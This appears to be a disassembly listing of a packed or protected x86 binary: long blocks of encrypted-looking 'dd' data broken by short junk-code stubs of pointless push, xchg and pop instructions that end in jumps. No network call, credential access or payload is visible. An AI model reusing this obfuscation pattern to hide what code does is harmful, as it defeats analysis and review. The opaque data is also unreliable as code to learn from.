		dd 40396AD5h, 0DAE22CD6h, 590820F8h, 0BC250B1Fh, 0D668153Ch
		dd 54A151F3h, 59C41827h, 6Dh, 380777C1h, 0D08766DFh, 80A76277h
		dd 0D01340FFh, 9CECE491h, 0BF97D190h, 68174461h, 13DE8ADBh
		dd 1E2F5FD5h, 779ED16Ah, 0D607444Ah, 2B1464B1h,	5C65BBFAh
		dd 4FC1122Dh, 3E236682h, 9B51F33Ah, 45h, 38077783h, 87B2C6EBh
		dd 0DB1A4BF8h, 0D6D39E22h, 246720FDh, 2E4AA7F7h, 91AED1DEh
		dd 9CE0214Ch, 0ED3372A3h, 628DBAC4h, 470477A8h,	3B354616h
		dd 549D473Ah, 0DB80FD14h, 65551F3h, 40000000h, 0A7FD4633h
		dd 3B08770Fh, 36B7C5EAh, 732D11EDh, 0B3E023EEh,	9490E899h
		dd 4A3B5CEBh, 7F54DC6Ch, 98A7D76Dh, 0FFD83B59h,	0D4586406h
		dd 5A86B120h, 9BFC4330h, 18F1BE01h, 0F5C5F49h, 8EBDCDCAh
		dd 0D4651752h, 0C20A25A8h, 0F473CA70h, 24560B5h, 6DD6A6EBh
		dd 0C75E6C38h, 0D35E4118h, 52ED9F95h, 0BD86F63Bh, 0E394368h
		dd 5B9D9ADDh, 6188B3D9h, 0D0DFA0DDh, 0CCBCF94Bh, 65E02D73h
		dd 93000001h, 0B1266132h, 4C9028ECh, 64AB58B0h,	0A7D1DE03h
		dd 0AFC1E79Ch, 329696BBh, 8BE75CEEh, 0B7104918h, 25649832h
		dd 612E632Eh, 2883BEE2h, 7DC6B6FBh, 0E45F2D12h,	0F127AB7h
		dd 188C4D9Dh, 1F285041h, 1B488B22h, 1F1553DCh, 5EBBD26Dh
		dd 7B4C85E5h, 145D613Dh, 6C8FDC6Bh, 0EF69E430h,	0C7804BD0h
		dd 828780Eh, 0BB9AC67Ch, 66h, 47A85863h, 3A3B85D5h, 2456847h
		dd 6C0337E5h, 0C92E1173h, 3A3B0753h, 0C2CDEAC7h, 231E4285h
		dd 61895B88h, 64C73A3Bh, 1FA2B14h, 0BF9CEA16h, 315889B7h
		dd 4E8BC516h, 61E8042Ah, 81080507h, 80709AC6h, 0DC4C2039h
		dd 0B19173ADh, 0E4B89DFAh, 473AFAD4h, 87157239h, 473AFA73h
		dd 86C917A6h, 934Bh, 0AB58BB00h, 0C6690364h, 0EF49183Dh
		dd 3F6CD7A2h, 7AC5B3FCh, 5BD60A29h, 754E3750h, 0E9D855D0h
		dd 0A8C5E03Ch, 1A2955E4h, 0FD8FB0DBh, 0CE431142h, 32411849h
		dd 117BB93Fh, 6FDDF36h,	167BA0B9h, 18487286h, 4414A741h
		dd 41184834h, 4B8ED2D9h, 0E5622966h, 3BAEEDBFh,	0CAF4F03h
		dd 51EA92DFh, 0AF9AEF0Ch, 0FE2F6ED9h, 2E7FC8B1h, 44EA0E0Bh
		dd 90365ECh, 9DC37C0Ch,	0DE3B887Bh, 0E5B7AED1h,	4B71BCD5h
		dd 0E1327538h, 0A17B9EC2h, 456ACFEAh, 0EDA9C0EBh, 364AB58h
		dd 0C0BD86F6h, 65920DA6h, 0C8095767h, 213A7754h, 555849h
		dd 4C1CA1EBh, 0A16FA0D4h, 9C99FE31h, 0C30C50EFh, 4095AEDEh
		dd 29F34203h, 88BDCD5Fh, 5D504113h, 0FFB131A0h,	191C07A1h
		dd 87F118BAh, 9CF66FBCh, 0C9F27C86h, 87C4CB04h,	31B7A256h
		dd 86E20FFDh, 465DEAEh,	0C6C881F7h, 0D6154679h,	2370498Ah
		dd 951CB56h, 0EC2832E9h, 1E5D8EC1h, 6AD5A7C2h, 9C85F439h
		dd 8153F09Fh, 2832E979h, 5565379Ch, 0B82832E9h,	2273B2F5h
		dd 230167EAh, 0B287EE59h, 0F92A1965h, 315B66BAh, 0C7AC516h
		dd 0A8000000h, 610BE65Fh, 6B093FF3h, 77EEB035h,	0C3E83D06h
		dd 105D8EB9h, 618EDF68h, 0B4F92A19h, 3287DCAh, 529FCC7Bh
		dd 0A2CF1C27h, 0F03D6EDDh, 696FBC8Bh, 4EC81h, 0C890000h
		dd 81E18924h, 4C1h, 4E98300h, 5C240C87h, 6F8368h, 24148900h
		dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 3D682404h
		dd 8900003Ah, 85B9240Ch, 89062913h, 0F16859CAh,	89000014h
		dd 4812424h, 424h, 52555800h, 3A242C81h, 5D504C07h, 73AC581h
		dd 6889504Ch, 34FF5D08h, 0C4835824h, 2434FF04h,	4C4835Ah
		dd 0F96A6AE9h, 84F0BDFFh, 0FCB8EE67h, 3062917h,	0FAE0FFC5h
		dd 0E57DF182h, 0DC11AA02h, 403BF14h, 61296849h,	0F346ABA4h
		dd 17647C4Fh, 94456125h, 0AA74A88Ah, 8D39DEDFh,	4A70D27Ah
		dd 0E158CA8Ah, 0CB4BB236h, 6725A9F7h, 3F0C3CDDh, 0FB2BA931h
		dd 7805296Dh, 0E569AA32h, 52390244h, 362AFC9Ah,	0BF4420D9h
		dd 0E10A6A4h, 0E9215E18h, 24h, 3DA2DFD7h, 8 dup(0)
		dd 533E9h, 28137A00h, 9CABD0C1h, 4434C75h, 6AD5A4EDh, 0D3701E03h
		dd 65AE4EB8h, 0DEC32A19h, 4B749FACh, 0A6EB023Dh, 0DB026DD6h
		dd 22DAEEBEh, 9B3F4113h, 0E8904D36h, 0FB3569BEh, 525F09A5h
		dd 0A7C21E2Dh, 0F4396AD5h, 6D52BD8Ah, 0BAF7241Fh, 31069D2h
		dd 8EBDC27Bh, 81DF1E4Fh, 7443764h, 0B13722D6h, 35305E5Bh
		dd 3A3B5367h, 0B4F7C647h, 3B4168h, 79D0B8E9h, 71991312h
		dd 0A4473A3Bh, 7297D609h, 3B4B9F0Dh, 0FAE473Ah,	3BE632EAh
		dd 0A00B473Ah, 5A2E137Ch, 0B7FBCE1h, 0BC25EF3Ch, 0B790F83Ch
		dd 1E29535Ch, 3BEC3FCDh, 0BB46473Ah, 0DB570A3Dh, 8D6251F3h
		dd 0A8000000h, 0E93A0577h, 3A3B0D5Bh, 79B6A347h, 0C6E53615h
		dd 36599F9Ah, 51F3DC3Bh, 6E96F152h, 751B637Ch, 0AE62Fh
		dd 30910000h, 4A9B8C7Fh, 22F22ECCh, 16470477h, 68D7A4F1h
		dd 0C784F63Bh, 6A115884h, 0B7FBCDDh, 32EAEF3Ch,	473A3BE6h
		dd 3361A00Bh, 0DBA0EDEAh, 0F82D1662h, 0A297ABDh, 65DEABD6h
		dd 0B58EFB30h, 4434B60h, 4EAA87D7h, 0C82D2CD8h,	3A3B0454h
		dd 9EC2E947h, 0EF75593h, 0E0D9A271h, 0D9E03C3Eh, 357A95B2h
		dd 3995FC47h, 48360777h, 488BAAFBh, 0A6A5D61Bh,	5B688041h
		dd 0AC023ACCh, 76185570h, 245784C9h, 49A4F627h,	0B3BCFB2Fh
		dd 0BE8FFF35h, 0B1D953CEh, 64473AB1h, 0A6C51649h, 0C62B0C67h
		dd 3AB10256h, 98C4F747h, 0C3102B51h, 562E1AEh, 6ABB8408h
		dd 0C873064Bh, 12DF7194h, 9B1176D6h, 473AB14Fh,	41D50BA2h
		dd 51F3501Ch, 55B9h, 7776100h, 3366DF38h, 3A3CCB74h, 284560BCh
		dd 0DD8BD867h, 2E50D414h, 0A10FF811h, 51EA9F07h, 3714E10Ch
		dd 80C311F6h, 3750EF9Fh, 69B794FAh, 0DF6A1F5Ch,	0D5E91AAh
		dd 0EF224603h, 51F3D982h, 3157h, 777FF00h, 0B2C6EB38h
		dd 270A4489h, 2C1B63C1h, 0E65F49C5h, 0D7CB8833h, 0E40D5302h
		dd 0A97BA897h, 473A3686h, 60A7C130h, 51F3CEEDh,	1C8h, 7A5F5600h
		dd 3A3B96A2h, 0EC307B47h, 588DBAC5h, 8DDE6913h,	869EDA87h
		dd 542D4AF9h, 0BB9EFCC2h, 84B89CCh, 0A19AE22Fh,	256A1973h
		dd 9E4728C4h, 85284918h, 0D6711B50h, 170A72BFh,	18D27585h
		dd 0F4159841h, 18D21038h, 77B60541h, 20FC2126h,	4118D218h
		dd 0D862BEFDh, 4118D2B2h, 0E341A78Ah, 5A47AE99h, 97C40932h
		dd 0E4095AE5h, 367BA897h, 0BBD50645h, 0B1F43ABEh, 517AF750h
		dd 0E8F91E1Ch, 356BD8A7h, 488ACCCh, 4F02D03Bh, 6A4BD15Ah
		dd 151h, 2474280Dh, 0C94118B6h,	5FE6BEE2h, 3B96A27Ah, 8A7B473Ah
		dd 557FF8C7h, 0F62A6DB9h, 47A0EFE4h, 0D8631562h, 9234688Bh
		dd 4918E8ADh, 5B6F3D92h, 0BE4118CFh, 7DC6B2FFh,	99CA0D28h
		dd 0FA1F2854h, 2273CCBDh, 8DB2DD03h, 0F21744FFh, 0A2103411h
		dd 78A437D6h, 0A3F04B31h, 62166384h, 3ABEBBD9h,	5EA992FAh
		dd 0D119C1BCh, 50144Bh,	58020000h, 940861A8h, 11736CA4h
		dd 23F12289h, 0C73A3B17h, 44C82029h, 0CB044337h, 165586C1h
		dd 89D080CAh, 6C8CBC70h, 7CB99173h, 29BD8E13h, 76DE7E0Dh
		dd 1D7DE637h, 0D6919398h, 82094679h, 0F5590C5h,	9D709B12h
		dd 99h,	73D0BFFCh, 0AB58912Dh, 0EB241F6Ah, 861A09Fh, 183DC394h
		dd 5C812C49h, 0E5AD237h, 0E3411835h, 1F6D94C8h,	0B8C4CD24h
		dd 5B2D6A8Fh, 6C69BCE0h, 0F6DC6C9Bh, 528EB564h,	18869988h
		dd 15626741h, 9FACD36Ah, 0A3EC0F5Ch, 0CC356BD8h, 3B0488ACh
		dd 0CC13C0D0h, 0ED49F1ABh, 812C4F03h, 41690368h, 0B44B71ECh
		dd 4582DBF9h, 0EC7C8C60h, 1A914B71h, 76D1BBC6h,	8D8AEF25h
		dd 111844FFh, 328172D7h, 84D347D5h, 0F7C6456Ah,	0B7EBB9Ch
		dd 36E6E330h, 554ECBE2h, 3F65A417h, 29525F67h, 0DF94C61Ah
		dd 75A57790h, 80492153h, 0E93A0573h, 109B96CAh,	28986C3h
		dd 0AAD21F45h, 43497691h, 69BA89F6h, 0ADA0B4Ah,	4B96639Ch
		dd 7FB5333Eh, 0D6DB320Dh, 23489DA6h, 0AD96E356h, 6E13396Ah
		dd 0D9622A0Ah, 4EFB818Eh, 0CC7B0F3Ah, 0D41D588Dh, 85D9CABh
		dd 0D31h, 0A17BA000h, 68EE199h,	53E3317Ch, 67773CBh, 0B9C3E83Dh
		dd 68105D8Eh, 19618EDFh, 0CAB4F92Ah, 7B03287Dh,	27529FCCh
		dd 0DDA2CF1Ch, 8BF03D6Eh, 51696FBCh, 0C181E189h, 4, 8704E983h
		dd 895C240Ch, 8953241Ch, 4C381E3h, 81000000h, 4EBh, 241C8700h
		dd 2434895Ch, 4D6268h, 242C8900h, 1F95BF57h, 0D4BE4FC1h
		dd 46165144h, 0B4A3C681h, 0FE01A016h, 2C8B545Fh, 4C48124h
		dd 56000000h, 24243481h, 8F6F6A32h, 0BB530845h,	24532751h
		dd 3E3C14Bh, 506CC381h,	0DBF70095h, 4730F381h, 5D31B3BBh
		dd 34FF5B08h, 0C4835D24h, 24348B04h, 81E38953h,	4C3h, 4C38300h
		dd 5C241C87h, 0F964AEE9h, 9CEDD9FFh, 0CC519D65h, 0F49A077Ah
		dd 291D9FB8h, 0FFC50306h, 6B092EE0h, 0C4C1C23Dh, 2C3A0524h
		dd 0A6260E49h, 0AD2B886Ah, 6B75A45Ah, 3EA60307h, 214D2F3Dh
		dd 0BF5B3D6Fh, 0FB0EDE40h, 52948765h, 9AC2AC4Ch, 31E05D54h
		dd 944A7A1Ch, 66294E3Eh, 6BED8E76h, 0F252712Ah,	3A7F9313h
		dd 30504200h, 2F55EA68h, 77B50258h, 0FDCB3463h,	479DC871h
		dd 7524B547h, 7A88B033h, 28ACE570h, 86D21A3Dh, 878D8D69h
		dd 0B406291Fh, 0F18D8950h, 0F062233h, 1984h, 10E800h, 0FE3B0000h
		dd 0C4F4FC21h, 0BBB34C82h, 671577A7h, 8B665819h, 85C758FBh
		dd 6222D31h, 6C98h, 30E585C7h, 622h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 6ED237C3h
		dd 71285E82h, 0FA501E5h, 0B5FFDEB7h, 6221311h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 6C35545h, 66B2AB22h
		dd 95F45BADh, 11919D8Bh, 95FF0622h, 6222065h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 34C35343h, 0A33BEE3Fh
		dd 80698E36h, 850994F7h, 6221C45h, 95FF006Ah, 6223075h
		dd 4BEBC08Bh, 4750FBFh,	7FA7B398h, 0BDE01BD0h, 0FB1E6CEBh
		dd 581A90C9h, 0F281665Eh, 6BD1809Ch, 6EE34C52h,	5ADD3561h
		dd 37422E3Ah, 466EAEE1h, 3AD65245h, 957C9132h, 42E87F2Fh
		dd 0EB669821h, 947905FFh, 1FB37044h, 0C90613E3h, 0E90D87B5h
		dd 0Fh,	576F51BDh, 2 dup(0)
		dd 0E9000000h, 534h, 224DF687h,	56B18EFDh, 0CE192669h
		dd 648FB8C1h, 9DF4533Bh, 0FC82CBADh, 8FFB244Fh,	206859B0h
		dd 0B9C3CC27h, 9BFC678Eh, 1324F901h, 0AE761C41h, 0C8897A5Fh
		dd 0E9FA7E58h, 4F305808h, 0F0E5473Ah, 3A4FEC3Ch, 6BAA0147h
		dd 0C7800C35h, 16355996h, 71CAB2FFh, 0CC7D0F2Ch, 294E81BEh
		dd 73A19EECh, 0C976052Ah, 0E305EC84h, 37BA3B41h, 32676F74h
		dd 5A261C21h, 93D24278h, 80083950h, 1563ACC7h, 0ABEA5524h
		dd 645357Ah, 54F398D5h,	839EEA07h, 3AF1C1E9h, 46793447h
		dd 36B23F15h, 344158F0h, 3642DA4Bh, 0DB473AF1h,	0E64391D0h
		dd 6DD6A282h, 0D46F1D02h, 0F1A2F587h, 0E50C473Ah, 12114C83h
		dd 67A451F3h, 0CF000000h, 5C81BAC2h, 0E329A1ABh, 1A5DE00Dh
		dd 5772EC6h, 0D5BE93Ah,	0A3473A3Bh, 7AF71A5Eh, 5F51F3DBh
		dd 1, 2A525FC7h, 73A1CC11h, 4C204536h, 473A3B3Ch, 7921DAD1h
		dd 0DDB6FF65h, 155A8BCAh, 0C780D966h, 6DAC3C8Ah, 0A0C51B88h
		dd 1045FE8Bh, 9D6F8960h, 25EE990h, 5CB794E7h, 0F71E2953h
		dd 66E595E2h, 525F6A3Ah, 0ACCF1C27h, 6454970h, 54F398D5h
		dd 1157E007h, 0B5DC6B13h, 0A1FFE3A4h, 0AA5D82F1h, 6414B76h
		dd 0D8E0BCE1h, 3D473ADCh, 0D61B227Eh, 0C7499AA9h, 6CD7A5F2h
		dd 0B9EA5523h, 9DDB267Ah, 86D24AAFh, 6B473ADCh,	55381C40h
		dd 8051F2F3h, 93h, 3807778Eh, 9DA6D2DFh, 0D6F72D48h, 449F699h
		dd 58206D6Ch, 217FBEEFh, 0FA84A0D8h, 0CC0F3C43h, 0BD6F54A5h
		dd 473A3B6Dh, 3BB4C458h, 5259473Ah, 5792CEEDh, 0A6CB1827h
		dd 0B60F68D3h, 0C7765026h, 96B7ED4Eh, 0AEDAD7BAh, 0FF254095h
		dd 3116F672h, 3A622F7Bh, 5FCDC247h, 473A620Bh, 508CCFEEh
		dd 0F38099C4h, 523C51h,	77EA0000h, 0C6EB3807h, 56F187B2h
		dd 0F2A05C05h, 5D19EB4Ch, 788ADB1Ah, 0DE69101Dh, 0E341A782h
		dd 4E4BAC9Bh, 93D20340h, 7788024Dh, 46164704h, 473A3B35h
		dd 0FD14549Dh, 51F3DB80h, 0D0F8B499h, 0B5473A37h, 0FBB879C6h
		dd 4362B390h, 171DC00h,	0D9000000h, 1A29525Fh, 77D4BBC6h
		dd 0B8830926h, 0B830A16Bh, 0D28E137Ch, 0F3DF7A2Fh, 0F8009CFDh
		dd 1D473AC7h, 24345F9Eh, 0A287E02Fh, 0E69C2555h, 5C640AF9h
		dd 2FF92766h, 49182D5Ch, 381D7A31h, 18435464h, 0AEF2B941h
		dd 112A529Fh, 70CFBBF8h, 0B3DC0023h, 1045FE8Eh,	18433644h
		dd 0BD3B3641h, 0C32A1567h, 4095AEDEh, 81E6612Bh, 0EF3C0B74h
		dd 387590CCh, 0B493E756h, 0D0054467h, 0D0E9F09Bh, 611CB608h
		dd 195687C6h, 0B1B8D46Fh, 0BBB4F337h, 0AA95E73Dh, 70BEB343h
		dd 251B4BD1h, 3000001h,	364AB58h, 182AAA69h, 0D2824349h
		dd 0D9E56241h, 7D30E937h, 0CE790328h, 25226CA9h, 0E1AB94FFh
		dd 94F83566h, 323F7AABh, 350E7EB6h, 0ED3DEFD4h,	0F0411859h
		dd 4E6DBE89h, 7D66BAF1h, 0D179A4D9h, 31314Bh, 58190000h
		dd 940861A8h, 11736CA4h, 23F12289h, 0C73A3B17h,	43C82029h
		dd 4B21468Dh, 91736CDFh, 7D90FBB2h, 0B8h, 5565371Ch, 0B8473A3Bh
		dd 5817AFF5h, 9EAA42ABh, 0AB473A3Bh, 3A3BA9F1h,	0D0614C47h
		dd 187D9ADDh, 632029AFh, 578D8D3Dh, 18AAE2B5h, 3EEED349h
		dd 41189EEAh, 0B8BA160Fh, 8A70C022h, 911C154Bh,	0E25D2F4Ch
		dd 1E61AE8Bh, 0C6B6F321h, 0C3B9C15Bh, 0E3AC4118h, 4BF43764h
		dd 0E6C09B60h, 7E22AC22h, 0ACE9EE3Fh, 6D3F65E2h, 411890A4h
		dd 0D80D3A45h, 0B58E793h, 970A5ECEh, 0CCEF4118h, 73B73138h
		dd 8AAACE23h, 0A4EE8302h, 0C6BF88F4h, 5295230Fh, 0E52AD93Bh
		dd 6718E884h, 0AE0D4F03h, 0F34C307Dh, 81E76AA2h, 6F88D78Ch
		dd 6A07B5BDh, 3A555845h, 9CABD0DDh, 5CF02C4Fh, 364AB58h
		dd 214C9969h, 0B3F35449h, 61A65D45h, 4477A2FEh,	33B2DA17h
		dd 1885A78Bh, 0BCDD1C0Ah, 152E5A57h, 132F3743h,	0FA69DA41h
		dd 1B8088CDh, 8AF23F7Eh, 13416CB1h, 82BDCFF0h, 0E5622865h
		dd 1E2F75B0h, 0D2C10A4Eh, 4BAD44F1h, 7198A3E9h,	0E6033C40h
		dd 3667E0A9h, 0A10F5BD1h, 0CBE21055h, 0D4315488h, 0E0662E73h
		dd 0A9F7B0A9h, 1D4EF980h, 0DE2E4A37h, 489DAAD1h, 0C2CAF72Dh
		dd 80BDCD5Fh, 5D501055h, 0A9E6F31Ah, 0F13864DFh, 9C63B08Bh
		dd 3, 7773CB46h, 0C3E83D06h, 105D8EB9h,	618EDF68h, 0B4F92A19h
		dd 3287DCAh, 529FCC7Bh,	0A2CF1C27h, 0F03D6EDDh,	696FBC8Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	3809h
		mov	[esp], ecx
		push	6291FF0h
		mov	ebx, [esp]
		add	esp, 4
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		pop	dword ptr [ecx+8]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_502B27
; ---------------------------------------------------------------------------
		db 0A0h, 81h, 64h
		dd 35AC7FD3h, 23F3CDBAh, 2924A8B8h, 0FFC50306h,	0F99AFFE0h
		dd 0FAD2040Bh, 149F5A4Eh, 233C3B6Ah, 9C757F68h,	88520412h
		dd 0CD1FDA7Dh, 0A3ED6A07h, 0B74C7B00h, 523DF73Bh, 0B968D653h
		dd 28EE156Bh, 9CA8F012h, 0AEA5AC77h, 0CA91416h,	0E1AA5F4Bh
		dd 0A804F23Ah, 0A7D51A6Bh, 0F185C218h, 34063917h, 19F6B20Fh
		dd 0E0D3DC04h, 0A7266B7Eh, 0AE949h, 8E770000h, 4D33h, 0
		dd 55AE9h, 98A3EA00h, 0C3B4071h, 74D3BCE5h, 0DA65141Dh
		dd 43008EB3h, 0D51EDE28h, 4E739AA9h, 0BBE40F3Ch, 161B72CDh
		dd 4BB2DD66h, 1E2A7E2Eh, 0BCF4113h, 1C05771Bh, 82D3701Fh
		dd 3B69B163h, 218C473Ah, 3B0454C8h, 0C2E9473Ah,	6B016683h
		dd 473A3B5Fh, 80A5FBB2h, 0CD24236Bh, 22301BECh,	0E40A36B2h
		dd 300B71B8h, 93B0DAD7h, 0A8FD2342h, 1D4EF983h,	4F9CABD0h
		dd 0BEEF5C22h, 0EF3C0771h, 0B278F079h, 7FCD2BC6h, 0A9FA4932h
		dd 612B568Ah, 0F6828FE6h, 8BFD224Dh, 345A57B0h,	7FBCC917h
		dd 25EF3C0Bh, 90F83CBCh, 29535CB7h, 3F88CD1Eh, 0CD8B97A1h
		dd 0F597CD7Ch, 473ABEA2h, 4C83E50Ch, 51F35711h,	64A4h
		dd 0B7C2CF00h, 1FA65F8Ch, 914C5F7Ah, 673F65A4h,	1F2C525Fh
		dd 1A62AFCEh, 0C6B6F321h, 4E9C287Dh, 0E4473A3Bh, 0B9B4DB1Dh
		dd 1C51F3DBh, 1, 4904770Ah, 90C5043Fh, 6B1D305Bh, 5093B0DEh
		dd 0DAAFCC11h, 7D0B0861h, 0E5291C2h, 88E009FFh,	4A70C384h
		dd 0C3B883F6h, 469AA10Eh, 98F3503Bh, 335AE597h,	2A525F9Bh
		dd 0D8A6C311h, 7E010E6Bh, 4EF980C1h, 0D5A6CB12h, 75022576h
		dd 0CF3419F3h, 3A3B0D5Dh, 1BCDE047h, 473A3BCFh,	4004B866h
		dd 4DF2846Ch, 0EA2D1A60h, 356BD4A5h, 307F820Ch,	0AA5FA57h
		dd 5479C6C9h, 7C97D609h, 0ADFE4933h, 1340FF80h,	0EE9BAEDEh
		dd 0ACC11255h, 23206FDEh, 945DB3E0h, 0F772DE54h, 47335E71h
		dd 88A651F3h, 6C000000h, 1F2C525Fh, 4FD6B8C1h, 3A3B8DDDh
		dd 0A4D6047h, 63DCA0EDh, 0BCC3E83Dh, 5C2D6A8Fh,	4368BDE3h
		dd 90DD0E39h, 0C60350EFh, 3A3B0256h, 81C4F747h,	0CEBA7088h
		dd 1F6FC523h, 0B6D8C920h, 62174489h, 0DD84B4D9h, 0DA09749Bh
		dd 4FCC51F3h, 5A000000h, 0DF380777h, 0CF0C8366h, 96FB80BFh
		dd 5F6EB2C4h, 88DD6612h, 24AA1B7Eh, 0A5A2E8D6h,	0A6D456D8h
		dd 0FD386DD6h, 5D9B66BAh, 0C6128AEFh, 2B473AE7h, 69155C80h
		dd 771BB3DAh, 46164704h, 473A3B35h, 0FD14549Dh,	51F3DB80h
		dd 155h, 877FD00h, 0B7C5EA3Bh, 0CF55F8Ch, 0F84748ECh, 0D6E2BA9Fh
		dd 3B473A3Bh, 0D1232C70h, 1921FB22h, 0FC473A3Bh, 1C197EB1h
		dd 90AFDF6Eh, 0A0E10C51h, 21306CDBh, 1848784Bh,	41A61549h
		dd 0A7FD4A34h, 90804186h, 5CEB900Eh, 37BC6BA7h,	83BCC0E9h
		dd 0EA552768h, 7EDDEBB9h, 0B5C44118h, 6414598Ah, 0DF828ADBh
		dd 0EC419599h, 5BE4A88Ch, 105E2730h, 5917D83Ah,	0F4371467h
		dd 40FB81A8h, 0C9B5C227h, 0D99EAA7Ah, 36734118h, 96D50645h
		dd 0BFFC0957h, 62172CDh, 4735EF09h, 0C4195FCh, 654BD0FAh
		dd 8ADB6428h, 0FB281365h, 0FA5B79B8h, 13Eh, 5EEF909Dh
		dd 8DD31231h, 42AB58F1h, 3A3B9EAAh, 0F9387347h,	2A170CE0h
		dd 0D3204918h, 0CC459BA8h, 0D7FBCE1h, 8BFF4E3Ch, 0D287DBCh
		dd 0ED56A3CAh, 0D36820A2h, 0AAD70D7Eh, 0E73459E2h, 3479AA95h
		dd 3D4DDF46h, 0D04118BCh, 24499ADDh, 0C9BFEC5Bh, 2762C820h
		dd 2656CE2Ah, 2D20F21Dh, 884BD155h, 4Fh, 61A85896h, 0C9840B08h
		dd 175687C0h, 0D34988D4h, 11736C67h, 0D532634Ah, 3BEC3CF0h
		dd 87F1C73Ah, 0F42883BCh, 3A3B0652h, 0B73138C7h, 32579E52h
		dd 736CCE7Ah, 20B2A391h, 8FB8C4FEh, 89F911F6h, 9EE05362h
		dd 6EA1E03Bh, 8CC807h, 583A0000h, 241DEABh, 0EEE62E29h
		dd 28654AAFh, 0E1BBD966h, 4918D35Eh, 0BA89F2BFh, 77052A7Bh
		dd 107CA5CCh, 0BCE1E637h, 18C6D8E0h, 227E3D41h,	18C68998h
		dd 7EFA7741h, 26DD6A6h,	95F24132h, 3E87507h, 7D0FAC4Fh
		dd 296683C2h, 0C8B1E261h, 44A3AEA7h, 8FD5147Eh,	4A4B317Eh
		dd 0FB822CC2h, 9DCE01DEh, 59AECAB7h, 251E6BAAh,	1572B5F0h
		dd 8FD57218h, 7F00D24Ah, 0BAF1456Dh, 9CFD4653h,	0E0A71227h
		dd 78B60E2Fh, 41806C6Eh, 0AB584313h, 88F60364h,	64B6ABBh
		dd 589BC873h, 0B547D504h, 6C492116h, 0ADDF1C41h, 391E7B92h
		dd 131E5763h, 7E8A6241h, 9341131Eh, 48942718h, 9EEE5B21h
		dd 633162A5h, 0F879B36Eh, 0D13BBDB4h, 0F1E830ECh, 0AE0D1679h
		dd 0FA453772h, 65DEAE93h, 0BB8EFB30h, 32273D0h,	315E93C0h
		dd 0DCACC112h, 0F025226Dh, 2F2172B5h, 0C860C622h, 4ADBA4F1h
		dd 79F186D2h, 1406B16h,	0E64391DCh, 61DAA282h, 9E12BF08h
		dd 956ED9A0h, 5B79FE9Dh, 0BA85F738h, 39669h, 0CB7C0000h
		dd 3D067773h, 8EB9C3E8h, 0DF68105Dh, 2A19618Eh,	7DCAB4F9h
		dd 0CC7B0328h, 1C27529Fh, 6EDDA2CFh, 0BC8BF03Dh, 8957696Fh
		dd 4C781E7h, 51000000h,	4B9h, 59CF2900h, 5C243C87h, 3FEF68h
		dd 243C8900h, 5B2168h, 240C8900h, 9CBF5756h, 0BE78052Eh
		dd 7E2E5439h, 895FFE29h, 3685EF7h, 89000077h, 4832424h
		dd 53590424h, 8BBh, 89CB0100h, 241C8B3Bh, 0FF04C483h, 81592434h
		dd 4C4h, 2434FF00h, 4C4815Fh, 0E9000000h, 0FFF957FBh, 0CD6965B0h
		dd 0E78C4520h, 29566057h, 0B8932860h, 6292A7Ah,	0E0FFC503h
		dd 5C69EA38h, 61A2D332h, 68FD1897h, 1328B42Ah, 521EA8DFh
		dd 54C97006h, 54AC56DDh, 0D0B1DADh, 4F256040h, 3047E811h
		dd 62AA1CD0h, 1570B41Dh, 4CE4ADDDh, 7F56C272h, 3F81E51h
		dd 25D6971Bh, 3DE8D973h, 453F51E3h, 22E9h, 2B302A00h, 0Dh
		dd 6 dup(0)
		dd 0E9000000h, 960h, 0A6C17A03h, 0DA351279h, 729DAAD5h
		dd 0E8033C4Dh, 168D7A7h, 800E4729h, 1367A8C3h, 0A4D4DD34h
		dd 3D4F709Bh, 1760EB02h, 13107585h, 32F29841h, 3A3BC7E8h
		dd 8BB4D847h, 4793096Eh, 72473A3Bh, 3A3B6EBAh, 17288347h
		dd 21778A4h, 0C6C885F5h, 0F01A4679h, 0C15BBC03h, 4918150Eh
		dd 1A7FAC0Fh, 0B0DE6B1Dh, 0E0234293h, 52C70B3h,	7EA3CA79h
		dd 0E3E0350Eh, 3667E496h, 75CEBAF7h, 0C17A022Fh, 122B5F9Ch
		dd 6A89DA69h, 0C5B5FA2Bh, 3E3B5586h, 383174BAh,	5FB4CC0h
		dd 7B19FDFh, 66165381h,	0DCA5B2DDh, 5550629Ch, 0B165BBDFh
		dd 4BD0F4BCh, 87B6D8D5h, 0DA194AF5h, 0F52B4A9Bh, 8228h
		dd 0B6664B00h, 4118D062h, 24F82497h, 8E1E0777h,	473A3B7Ah
		dd 88DD1C9Fh, 0B3E4E4Bh, 5291C27Dh, 0DAA4CD13h,	70F9386Dh
		dd 4F523CF8h, 558FF6BDh, 0E30A4D0Dh, 0F3421E53h, 45BB51h
		dd 5F630000h, 0C21E2D52h, 1266D7A7h, 0A6F75427h, 0D4174487h
		dd 63B44095h, 7C473A3Bh, 0CEE3300Fh, 335D8EBDh,	0EB7CB236h
		dd 444AEA0Eh, 63214DBDh, 0F70DC2Ah, 57BEF130h, 72738142h
		dd 968006C1h, 23FD4Ah, 77210000h, 0EEEB3807h, 3C60DBA1h
		dd 3A3B5C6Ah, 0D3A4547h, 5BE893D8h, 0DD1BC60Ah,	0D0280549h
		dd 0F21D2A54h, 0DEAB5858h, 0A570AD78h, 6F88CBD2h, 1840FABDh
		dd 4B981349h, 98E45926h, 0FC3F7EAFh, 64E3AC95h,	0D11ED537h
		dd 0CEF253B8h, 0DB5546BAh, 5AE992DFh, 29DF6406h, 6D404F3Ah
		dd 0B6D1438h, 8ED96629h, 21FBFE81h, 4983BBh, 88CD1E51h
		dd 89829F3Fh, 8BECADF0h, 7E0DC911h, 53812C4Bh, 7E0D7189h
